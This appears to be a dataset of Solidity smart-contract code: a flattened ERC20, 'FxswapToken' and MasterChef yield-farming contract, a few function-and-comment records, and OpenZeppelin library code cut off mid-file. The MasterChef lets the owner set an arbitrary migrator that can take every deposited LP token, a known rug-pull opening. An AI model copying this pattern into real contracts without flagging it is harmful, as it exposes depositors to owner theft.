calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/FxswapToken.sol pragma solidity 0.6.12; // FxswapToken with Governance. contract FxswapToken is ERC20("FxswapToken", "FXSWAP"), Ownable { /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "FXSWAP::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "FXSWAP::delegateBySig: invalid nonce"); require(now <= expiry, "FXSWAP::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "FXSWAP::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying FXSWAPs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "FXSWAP::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/MasterChef.sol pragma solidity 0.6.12; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to FxswapSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // FxswapSwap must mint EXACTLY the same amount of FxswapSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterChef is the master of Fxswap. He can make Fxswap and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once FXSWAP is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract MasterChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of FXSWAPs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accFxswapPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accFxswapPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. FXSWAPs to distribute per block. uint256 lastRewardBlock; // Last block number that FXSWAPs distribution occurs. uint256 accFxswapPerShare; // Accumulated FXSWAPs per share, times 1e12. See below. } // The FXSWAP TOKEN! FxswapToken public fxswap; // Dev address. address public devaddr; // Block number when bonus FXSWAP period ends. uint256 public bonusEndBlock; // FXSWAP tokens created per block. uint256 public fxswapPerBlock; // Bonus muliplier for early fxswap makers. uint256 public constant BONUS_MULTIPLIER = 1; // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigratorChef public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when FXSWAP mining starts. uint256 public startBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( FxswapToken _fxswap, address _devaddr, uint256 _fxswapPerBlock, uint256 _startBlock, uint256 _bonusEndBlock ) public { fxswap = _fxswap; devaddr = _devaddr; fxswapPerBlock = _fxswapPerBlock; bonusEndBlock = _bonusEndBlock; startBlock = _startBlock; } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accFxswapPerShare: 0 })); } // Update the given pool's FXSWAP allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) { if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); } } // View function to see pending FXSWAPs on frontend. function pendingFxswap(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accFxswapPerShare = pool.accFxswapPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 fxswapReward = multiplier.mul(fxswapPerBlock).mul(pool.allocPoint).div(totalAllocPoint); accFxswapPerShare = accFxswapPerShare.add(fxswapReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accFxswapPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 fxswapReward = multiplier.mul(fxswapPerBlock).mul(pool.allocPoint).div(totalAllocPoint); fxswap.mint(devaddr, fxswapReward.div(10)); fxswap.mint(address(this), fxswapReward); pool.accFxswapPerShare = pool.accFxswapPerShare.add(fxswapReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterChef for FXSWAP allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accFxswapPerShare).div(1e12).sub(user.rewardDebt); safeFxswapTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accFxswapPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accFxswapPerShare).div(1e12).sub(user.rewardDebt); safeFxswapTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accFxswapPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe fxswap transfer function, just in case if rounding error causes pool to not have enough FXSWAPs. function safeFxswapTransfer(address _to, uint256 _amount) internal { uint256 fxswapBal = fxswap.balanceOf(address(this)); if (_amount > fxswapBal) { fxswap.transfer(_to, fxswapBal); } else { fxswap.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
Deposit LP tokens to MasterChef for FXSWAP allocation.
function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accFxswapPerShare).div(1e12).sub(user.rewardDebt); safeFxswapTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accFxswapPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); }
10,928,129
./full_match/4/0x7Db7deaf0e6ED69e29a59bAB170993d3622999F0/sources/contracts/ANTZ/AtomicAntzNFTCollection.sol
See {ERC721}./
function _baseURI() internal view virtual override returns ( string memory ) { return baseURI; }
787,632
./full_match/4/0x482C15FE45A2D695f55D5Cea16Dae28D5Fc9a2DB/sources/Router.sol
calculates the CREATE2 address for a pair without making any external callshex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' init code hash
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'3199f58f481554709997dcb98e7fe191f0349ce76b72565a7fc18cbda1436733' )))); }
12,394,446
// SPDX-License-Identifier: GPL-3.0 // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes 